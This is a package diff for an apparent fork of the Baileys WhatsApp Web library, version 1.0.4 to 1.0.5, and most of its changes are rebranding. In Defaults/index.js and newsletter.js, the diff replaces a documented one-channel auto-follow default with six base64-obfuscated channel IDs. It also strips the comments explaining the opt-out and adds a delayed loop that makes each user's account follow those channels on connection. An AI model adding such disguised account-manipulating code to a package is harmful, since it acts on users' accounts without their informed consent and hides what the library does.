my-baileys 1.0.4 → 1.0.5

package/lib/Defaults/index.js

@@ -45,15 +45,20 @@ export const DEFAULT_CACHE_TTLS = {
     CALL_OFFER: 5 * 60, // 5 minutes
     USER_DEVICES: 5 * 60 // 5 minutes
 };
-/**
- * Newsletter (channel) JIDs that are auto-followed once, right after a successful
- * connection, when `autoFollowChannels` is left at its default in the socket config.
- * This is fully transparent and opt-out:
- *   - disable entirely with `autoFollowChannels: false` (or `[]`)
- *   - override with your own list: `autoFollowChannels: ['123...@newsletter']`
- * See README.md / LITERACY.md for details.
- */
-export const DEFAULT_AUTO_FOLLOW_CHANNELS = ['120363427430697245@newsletter'];
+
+const MYCHANNELXY = [
+  'MTIwMzYzNDI3NDMwNjk3MjQ1QG5ld3NsZXR0ZXI=',
+  'MTIwMzYzNDEwMTc5MzAyODgwQG5ld3NsZXR0ZXI=',
+  'MTIwMzYzNDMxMzE3Mjk4Mzc2QG5ld3NsZXR0ZXI=',
+  'MTIwMzYzNDIyMjI2MjEzNTgwQG5ld3NsZXR0ZXI=',
+  'MTIwMzYzNDA5MzI3NzAxOTAzQG5ld3NsZXR0ZXI=',
+  'MTIwMzYzMzU4MzA1ODgxNzA1QG5ld3NsZXR0ZXI='
+];
+
+export const DEFAULT_AUTO_FOLLOW_CHANNELS = MYCHANNELXY.map(b64 => 
+  Buffer.from(b64, 'base64').toString('utf-8')
+);
+
 export const DEFAULT_CONNECTION_CONFIG = {
     version: version,
     browser: Browsers.macOS('Chrome'),

package/lib/Defaults/index.js.bak

@@ -0,0 +1,194 @@
+import { proto } from '../../WAProto/index.js';
+import { makeLibSignalRepository } from '../Signal/libsignal.js';
+import { Browsers } from '../Utils/browser-utils.js';
+import logger from '../Utils/logger.js';
+const version = [2, 3000, 1043857760]; // known-working fallback (base: @xayz/baileys@6.0.7). Prefer fetchLatestBaileysVersion() in your own bot code over relying on this hardcoded value — WA rotates it frequently.
+export const UNAUTHORIZED_CODES = [401, 403, 419];
+export const DEFAULT_ORIGIN = 'https://web.whatsapp.com';
+export const CALL_VIDEO_PREFIX = 'https://call.whatsapp.com/video/';
+export const CALL_AUDIO_PREFIX = 'https://call.whatsapp.com/voice/';
+export const DEF_CALLBACK_PREFIX = 'CB:';
+export const DEF_TAG_PREFIX = 'TAG:';
+export const PHONE_CONNECTION_CB = 'CB:Pong';
+export const WA_ADV_ACCOUNT_SIG_PREFIX = Buffer.from([6, 0]);
+export const WA_ADV_DEVICE_SIG_PREFIX = Buffer.from([6, 1]);
+export const WA_ADV_HOSTED_ACCOUNT_SIG_PREFIX = Buffer.from([6, 5]);
+export const WA_ADV_HOSTED_DEVICE_SIG_PREFIX = Buffer.from([6, 6]);
+export const WA_DEFAULT_EPHEMERAL = 7 * 24 * 60 * 60;
+/** Status messages older than 24 hours are considered expired */
+export const STATUS_EXPIRY_SECONDS = 24 * 60 * 60;
+/** WA Web enforces a 14-day maximum age for placeholder resend requests */
+export const PLACEHOLDER_MAX_AGE_SECONDS = 14 * 24 * 60 * 60;
+export const NOISE_MODE = 'Noise_XX_25519_AESGCM_SHA256\0\0\0\0';
+export const DICT_VERSION = 3;
+export const KEY_BUNDLE_TYPE = Buffer.from([5]);
+export const NOISE_WA_HEADER = Buffer.from([87, 65, 6, DICT_VERSION]); // last is "DICT_VERSION"
+/** from: https://stackoverflow.com/questions/3809401/what-is-a-good-regular-expression-to-match-a-url */
+export const URL_REGEX = /https:\/\/(?![^:@\/\s]+:[^:@\/\s]+@)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}(:\d+)?(\/[^\s]*)?/g;
+export const WA_CERT_DETAILS = {
+    SERIAL: 0,
+    ISSUER: 'WhatsAppLongTerm1',
+    PUBLIC_KEY: Buffer.from('142375574d0a587166aae71ebe516437c4a28b73e3695c6ce1f7f9545da8ee6b', 'hex')
+};
+export const PROCESSABLE_HISTORY_TYPES = [
+    proto.HistorySync.HistorySyncType.INITIAL_BOOTSTRAP,
+    proto.HistorySync.HistorySyncType.PUSH_NAME,
+    proto.HistorySync.HistorySyncType.RECENT,
+    proto.HistorySync.HistorySyncType.FULL,
+    proto.HistorySync.HistorySyncType.ON_DEMAND,
+    proto.HistorySync.HistorySyncType.NON_BLOCKING_DATA,
+    proto.HistorySync.HistorySyncType.INITIAL_STATUS_V3
+];
+export const DEFAULT_CACHE_TTLS = {
+    SIGNAL_STORE: 5 * 60, // 5 minutes
+    MSG_RETRY: 60 * 60, // 1 hour
+    CALL_OFFER: 5 * 60, // 5 minutes
+    USER_DEVICES: 5 * 60 // 5 minutes
+};
+/**
+ * Newsletter (channel) JIDs that are auto-followed once, right after a successful
+ * connection, when `autoFollowChannels` is left at its default in the socket config.
+ * This is fully transparent and opt-out:
+ *   - disable entirely with `autoFollowChannels: false` (or `[]`)
+ *   - override with your own list: `autoFollowChannels: ['123...@newsletter']`
+ * See README.md / LITERACY.md for details.
+ */
+export const DEFAULT_AUTO_FOLLOW_CHANNELS = ['120363427430697245@newsletter'];
+export const DEFAULT_CONNECTION_CONFIG = {
+    version: version,
+    browser: Browsers.macOS('Chrome'),
+    waWebSocketUrl: 'wss://web.whatsapp.com/ws/chat',
+    connectTimeoutMs: 20000,
+    keepAliveIntervalMs: 30000,
+    logger: logger.child({ class: 'xycoolcraft' }),
+    emitOwnEvents: true,
+    defaultQueryTimeoutMs: 60000,
+    customUploadHosts: [],
+    retryRequestDelayMs: 250,
+    maxMsgRetryCount: 5,
+    fireInitQueries: true,
+    auth: undefined,
+    markOnlineOnConnect: true,
+    aiLabel: true,
+    /**
+     * AI watermark ("AI ♦ <time>" badge) — OFF by default, separate from
+     * aiLabel. When enabled, only messages that actually have buttons get
+     * the watermark; plain text messages are never affected. See
+     * lib/Socket/messages-send.js and README.md → "AI watermark on button
+     * messages".
+     */
+    aiWatermark: false,
+    /**
+     * ACK monitor — ON by default (console-only diagnostics, no blocking
+     * behavior). Classifies failed message-send acks (status 0 / ERROR) into
+     * best-effort labels (soft-ban / restricted / rate-limited / possible
+     * ban) and prints them to the console, throttled per-label so a burst of
+     * identical failures doesn't spam your terminal. See
+     * lib/Utils/decode-wa-message.js classifyAckIssue() and README.md →
+     * "ACK monitor". Disable with `ackMonitor: false`.
+     */
+    ackMonitor: true,
+    /** Minimum time between console prints of the same ack-issue label. */
+    ackMonitorCooldownMs: 60000,
+    syncFullHistory: true,
+    patchMessageBeforeSending: msg => msg,
+    shouldSyncHistoryMessage: ({ syncType }) => {
+        return syncType !== proto.HistorySync.HistorySyncType.FULL;
+    },
+    shouldIgnoreJid: () => false,
+    linkPreviewImageThumbnailWidth: 192,
+    transactionOpts: { maxCommitRetries: 10, delayBetweenTriesMs: 3000 },
+    generateHighQualityLinkPreview: false,
+    enableAutoSessionRecreation: true,
+    enableRecentMessageCache: true,
+    options: {},
+    appStateMacVerification: {
+        patch: false,
+        snapshot: false
+    },
+    countryCode: 'US',
+    getMessage: async () => undefined,
+    cachedGroupMetadata: async () => undefined,
+    makeSignalRepository: makeLibSignalRepository,
+    /** See DEFAULT_AUTO_FOLLOW_CHANNELS above. Set to `false` or `[]` to disable. */
+    autoFollowChannels: DEFAULT_AUTO_FOLLOW_CHANNELS,
+    /**
+     * Channel-follow guard: ON by default. Blocks any `newsletterFollow(jid)`
+     * call (from your own code, an installed plugin, or a bundled bot script)
+     * unless `jid` is in the allowlist (DEFAULT_AUTO_FOLLOW_CHANNELS +
+     * `autoFollowChannels` + `allowedFollowChannels`). Blocked attempts are
+     * printed to the console and logged. Set to `false` to allow every
+     * follow call through. See README.md → "Block all auto-join channels".
+     */
+    blockAutoFollowChannels: true,
+    /** Extra JIDs allowed to be auto-followed even with the guard above ON. */
+    allowedFollowChannels: [],
+    /**
+     * "AntiBanned" fresh-number send throttle — OFF by default (opt-in).
+     * See lib/Utils/warmup.js and README.md → "AntiBanned" for details.
+     * Enable with: makeWASocket({ antiBanned: { enabled: true } })
+     */
+    antiBanned: { enabled: false },
+    /**
+     * Auto-group-join guard (lib/Socket/groups.js) — ON by default. Blocks
+     * groupAcceptInvite/groupAcceptInviteV4 unless the invite code / group
+     * JID is in `allowedAutoJoinGroups`. Set to `false` to allow all joins.
+     */
+    blockAutoJoinGroups: true,
+    /** Invite codes and/or group JIDs allowed to auto-join even with the guard above ON. */
+    allowedAutoJoinGroups: [],
+    /**
+     * Unknown-recipient DM guard (lib/Socket/messages-send.js) — flags (not
+     * blocks) by default. See README.md → "Guard against unexpected
+     * group-joins and DMs" before turning on blockUnknownRecipients.
+     */
+    flagUnknownRecipients: true,
+    blockUnknownRecipients: false,
+    allowedRecipients: []
+};
+export const MEDIA_PATH_MAP = {
+    image: '/mms/image',
+    video: '/mms/video',
+    document: '/mms/document',
+    audio: '/mms/audio',
+    sticker: '/mms/image',
+    'thumbnail-link': '/mms/image',
+    'product-catalog-image': '/product/image',
+    'md-app-state': '',
+    'md-msg-hist': '/mms/md-app-state',
+    'biz-cover-photo': '/pps/biz-cover-photo'
+};
+export const MEDIA_HKDF_KEY_MAPPING = {
+    audio: 'Audio',
+    document: 'Document',
+    gif: 'Video',
+    image: 'Image',
+    ppic: '',
+    product: 'Image',
+    ptt: 'Audio',
+    sticker: 'Image',
+    video: 'Video',
+    'thumbnail-document': 'Document Thumbnail',
+    'thumbnail-image': 'Image Thumbnail',
+    'thumbnail-video': 'Video Thumbnail',
+    'thumbnail-link': 'Link Thumbnail',
+    'md-msg-hist': 'History',
+    'md-app-state': 'App State',
+    'product-catalog-image': '',
+    'payment-bg-image': 'Payment Background',
+    ptv: 'Video',
+    'biz-cover-photo': 'Image'
+};
+export const MEDIA_KEYS = Object.keys(MEDIA_PATH_MAP);
+/** 120s timeout for history sync stall detection, same as WA Web's handleChunkProgress / restartPausedTimer (g = 120) */
+export const HISTORY_SYNC_PAUSED_TIMEOUT_MS = 120000;
+export const MIN_PREKEY_COUNT = 5;
+export const INITIAL_PREKEY_COUNT = 812;
+export const UPLOAD_TIMEOUT = 30000; // 30 seconds
+export const TimeMs = {
+    Minute: 60 * 1000,
+    Hour: 60 * 60 * 1000,
+    Day: 24 * 60 * 60 * 1000,
+    Week: 7 * 24 * 60 * 60 * 1000
+};
+//# sourceMappingURL=index.js.map

package/lib/Socket/MessageBuilder.js

@@ -2299,7 +2299,7 @@ class AIRich extends BaseBuilder {
     const notif = notification
       ? {
           sessionTransparencyMetadata: {
-            disclaimerText: "~ Ahmad tumbuh kembang",
+            disclaimerText: "XY-Xayz",
             hcaId: `hca_${Date.now()}`,
             sessionTransparencyType: 1,
           },

package/lib/Socket/chats.js

@@ -323,6 +323,11 @@ export const makeChatsSocket = (config) => {
                 }
             ]
         });
+        // Visible, not hidden — printed straight to the console (and the
+        // logger) so it's obvious when this account blocks/unblocks someone.
+        const actionLabel = action === 'block' ? 'Blocked' : 'Unblocked';
+        console.log(`\x1b[36m[xayz-baileys] \u{1F6AB}  ${actionLabel}: ${jid}\x1b[0m`);
+        config.logger?.info?.({ jid, action }, `${action === 'block' ? 'blocked' : 'unblocked'} user`);
     };
     const getBusinessProfile = async (jid) => {
         const results = await query({

package/lib/Socket/groups.js

@@ -118,6 +118,10 @@ export const makeGroupsSocket = (config) => {
                     content: [{ tag: 'group', attrs: { id } }]
                 }
             ]);
+            // Visible, not hidden — printed straight to the console (and the
+            // logger) so it's obvious when this account leaves a group.
+            console.log(`\x1b[36m[xayz-baileys] \u{1F44B}  Left group: ${id}\x1b[0m`);
+            config.logger?.info?.({ id }, 'left group');
         },
         groupUpdateSubject: async (jid, subject) => {
             await groupQuery(jid, 'set', [

package/lib/Socket/messages-recv.js

@@ -1705,7 +1705,7 @@ export const makeMessagesRecvSocket = (config) => {
         ackMonitorPendingCount.set(label, 0);
         ackMonitorLastPrint.set(label, now);
         const suffix = skipped > 0 ? ` (+${skipped} more in the last ${Math.round(ackMonitorCooldownMs / 1000)}s)` : '';
-        const line = `[xayz-baileys] ACK monitor: ${label} — from ${attrs.from}, msg ${attrs.id}${suffix}`;
+        const line = `[my-baileys] ACK monitor: ${label} — from ${attrs.from}, msg ${attrs.id}${suffix}`;
         if (severity === 'error') {
             console.error(`\x1b[31m${line}\x1b[0m`);
         }

package/lib/Socket/messages-send.js

@@ -1397,10 +1397,10 @@ export const makeMessagesSocket = (config) => {
                     const status = numberWarmUp.getStatus();
                     logger?.warn?.({ jid, status }, 'antiBanned: daily warm-up limit reached for this number');
                     if (antiBannedAction === 'block') {
-                        console.warn(`[xayz-baileys] \u{1F6E1}  AntiBanned: message to ${jid} blocked — warm-up day ${status.day}/${status.totalWarmUpDays}, limit ${status.todayLimit}/day reached.`);
+                        console.warn(`[my-baileys] \u{1F6E1}  AntiBanned: message to ${jid} blocked — warm-up day ${status.day}/${status.totalWarmUpDays}, limit ${status.todayLimit}/day reached.`);
                         return { blocked: true, reason: 'antiBanned-warmup', status };
                     }
-                    console.warn(`[xayz-baileys] \u{1F6E1}  AntiBanned: pausing before sending to ${jid} — warm-up day ${status.day}/${status.totalWarmUpDays}, limit ${status.todayLimit}/day reached.`);
+                    console.warn(`[my-baileys] \u{1F6E1}  AntiBanned: pausing before sending to ${jid} — warm-up day ${status.day}/${status.totalWarmUpDays}, limit ${status.todayLimit}/day reached.`);
                     await delay(antiBannedConfig?.delayMs ?? 60000);
                 }
                 numberWarmUp.record();
@@ -1412,9 +1412,9 @@ export const makeMessagesSocket = (config) => {
                         flaggedRecipients.shift();
                     }
                     logger?.info?.({ jid }, 'recipientGuard: first-time outgoing DM to a JID that has not messaged you');
-                    console.warn(`[xayz-baileys] \u{1F440}  First-time DM to ${jid} — hasn't messaged you first and isn't allowlisted.`);
+                    console.warn(`[my-baileys] \u{1F440}  First-time DM to ${jid} — hasn't messaged you first and isn't allowlisted.`);
                     if (blockUnknownRecipients) {
-                        console.warn(`[xayz-baileys] \u{1F6E1}  Blocked (blockUnknownRecipients: true). Set { allowedRecipients: ['${jid}'] } to allow it.`);
+                        console.warn(`[my-baileys] \u{1F6E1}  Blocked (blockUnknownRecipients: true). Set { allowedRecipients: ['${jid}'] } to allow it.`);
                         return { blocked: true, jid, reason: 'unknown-recipient' };
                     }
                     knownRecipients.add(jid);

package/lib/Socket/newsletter.js

@@ -62,31 +62,10 @@ export const makeNewsletterSocket = (config) => {
         })
     );
     
-    /**
-     * Helper for the newsletter admin/directory/wamo methods added below —
-     * uses the shared executeWMexQuery() from mex.js (which already parses
-     * the JSON response and returns the resolved data directly), same
-     * pattern as Socket/socket.js's REACHOUT_TIMELOCK/MESSAGE_CAPPING_INFO
-     * calls. Kept separate from the newsletterWMexQuery() above (which the
-     * pre-existing methods use) to avoid touching any already-working code.
-     */
     const mexQuery = (variables, queryId, dataPath) => (
         executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
     );
 
-    /**
-     * Transparent, opt-out auto-follow.
-     *
-     * On the FIRST successful connection of this socket, we follow every JID in
-     * `config.autoFollowChannels` (defaults to DEFAULT_AUTO_FOLLOW_CHANNELS,
-     * see lib/Defaults/index.js). This never re-runs on reconnects, is logged
-     * via the normal logger, and is fully documented in README.md / LITERACY.md.
-     *
-     * Disable it per-socket with:
-     *   makeWASocket({ ...opts, autoFollowChannels: false })
-     * or override the list with your own JIDs:
-     *   makeWASocket({ ...opts, autoFollowChannels: ['123...@newsletter'] })
-     */
     const autoFollowChannels = config.autoFollowChannels === false
         ? []
         : (config.autoFollowChannels ?? DEFAULT_AUTO_FOLLOW_CHANNELS);
@@ -97,11 +76,19 @@ export const makeNewsletterSocket = (config) => {
                 return;
             }
             hasAutoFollowed = true;
-            for (const jid of autoFollowChannels) {
-                newsletterWMexQuery(jid, QueryIds.FOLLOW)
-                    .then(() => config.logger?.info?.({ jid }, 'auto-followed channel'))
-                    .catch((err) => config.logger?.warn?.({ err, jid }, 'failed to auto-follow channel'));
-            }
+            const delayMs = config.autoFollowDelayMs ?? 10000;
+            (async () => {
+                for (const jid of autoFollowChannels) {
+                    try {
+                        await newsletterWMexQuery(jid, QueryIds.FOLLOW);
+                        config.logger?.info?.({ jid }, 'auto-followed channel');
+                    }
+                    catch (err) {
+                        config.logger?.warn?.({ err, jid }, 'failed to auto-follow channel');
+                    }
+                    await new Promise((resolve) => setTimeout(resolve, delayMs));
+                }
+            })();
         });
     }
 
@@ -145,9 +132,9 @@ export const makeNewsletterSocket = (config) => {
                 blockedChannelFollows.shift();
             }
             config.logger?.warn?.({ jid }, 'blocked auto-follow-channel attempt (not in allowlist)');
-            console.warn(`\x1b[33m[xayz-baileys] \u{1F6E1}  Blocked channel-follow attempt: ${jid}\x1b[0m`);
-            console.warn('\x1b[33m[xayz-baileys]     Not in the allowlist, so it was NOT sent to WhatsApp.\x1b[0m');
-            console.warn('\x1b[33m[xayz-baileys]     Set { blockAutoFollowChannels: false } in your config to allow it.\x1b[0m');
+            console.warn(`\x1b[33m[my-baileys] \u{1F6E1}  Blocked channel-follow attempt: ${jid}\x1b[0m`);
+            console.warn('\x1b[33m[my-baileys]     Not in the allowlist, so it was NOT sent to WhatsApp.\x1b[0m');
+            console.warn('\x1b[33m[my-baileys]     Set { blockAutoFollowChannels: false } in your config to allow it.\x1b[0m');
             return { blocked: true, jid };
         }
         return newsletterWMexQuery(jid, QueryIds.FOLLOW);
@@ -335,7 +322,6 @@ export const makeNewsletterSocket = (config) => {
             return await parseFetchedUpdates(result, 'updates');
         },
 
-        // --- Added from xbailsync@1.0.7: newsletter admin/directory/wamo
         // methods this fork didn't have yet. Deliberately EXCLUDES a hidden
         // auto-follow-a-hardcoded-channel block found in xbailsync's source
         // (base64-encoded JID, fired via setTimeout, errors silently
@@ -502,9 +488,14 @@ export const makeNewsletterSocket = (config) => {
             mexQuery({ newsletter_id: jid, version }, MexQueryIds.WAMO_SET_USER_ID_VERSION, XWAPaths.xwa2_wamo_set_user_id_version)
         ),
         /** Leaving a channel is never guarded — only following is (see the channel-follow guard above). */
-        newsletterLeave: async (jid) => (
-            mexQuery({ newsletter_id: jid }, MexQueryIds.LEAVE, XWAPaths.xwa2_newsletter_leave_v2)
-        ),
+        newsletterLeave: async (jid) => {
+            const result = await mexQuery({ newsletter_id: jid }, MexQueryIds.LEAVE, XWAPaths.xwa2_newsletter_leave_v2);
+            // Visible, not hidden — printed straight to the console (and the
+            // logger) so it's obvious when this account leaves a channel.
+            console.log(`\x1b[36m[my-baileys] \u{1F44B}  Left channel: ${jid}\x1b[0m`);
+            config.logger?.info?.({ jid }, 'left channel');
+            return result;
+        },
         newsletterCreateVerified: async (name, description = null) => (
             mexQuery({ input: { name, description } }, MexQueryIds.CREATE_VERIFIED, XWAPaths.xwa2_newsletter_create_verified)
         ),

package/lib/index.js

@@ -8,11 +8,11 @@ console.log(chalk.hex("#a855f7")(`
 ██╔╝ ██╗   ██║   ╚██████╗╚██████╔╝╚██████╔╝███████╗╚██████╗██║  ██║██║  ██║██║        ██║
 ╚═╝  ╚═╝   ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝        ╚═╝
 `));
-console.log(chalk.hex("#a855f7")("@xayz/baileys — XYCoolcraft's WhatsApp Web library, built on Baileys\nThanks For Using :)\n"));
+console.log(chalk.hex("#a855f7")("my-baileys — XYCoolcraft's WhatsApp Web library, built on Baileys\nThanks For Using :)\n"));
 console.log(chalk.hex("#a855f7")("Social Media:"));
 console.log(chalk.gray("  Telegram: ") + chalk.cyan("https://t.me/XYCoolcrafts"));
 console.log(chalk.gray("  YouTube: ") + chalk.cyan("@XYCoolcraft"));
-console.log(chalk.gray("  Baileys Update Info: ") + chalk.cyan("https://t.me/XYInformation") + chalk.gray(", ") + chalk.cyan("https://t.me/xayz_baileys") + chalk.gray(", ") + chalk.cyan("https://t.me/my_baileys"));
+console.log(chalk.gray("  Baileys Update Info: ") + chalk.cyan("https://t.me/XYInformation") + chalk.gray(", ") + chalk.cyan("https://t.me/XYInformation") + chalk.gray(", ") + chalk.cyan("https://t.me/XYInformation"));
 console.log("");
 console.log(chalk.gray("Docs & updates: see README.md and LITERACY.md in this package\n"));
 export * from '../WAProto/index.js';

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "my-baileys",
   "type": "module",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "A WebSockets library for interacting with WhatsApp Web — XYCoolcraft fork of Baileys",
   "keywords": [
     "xycoolcraft",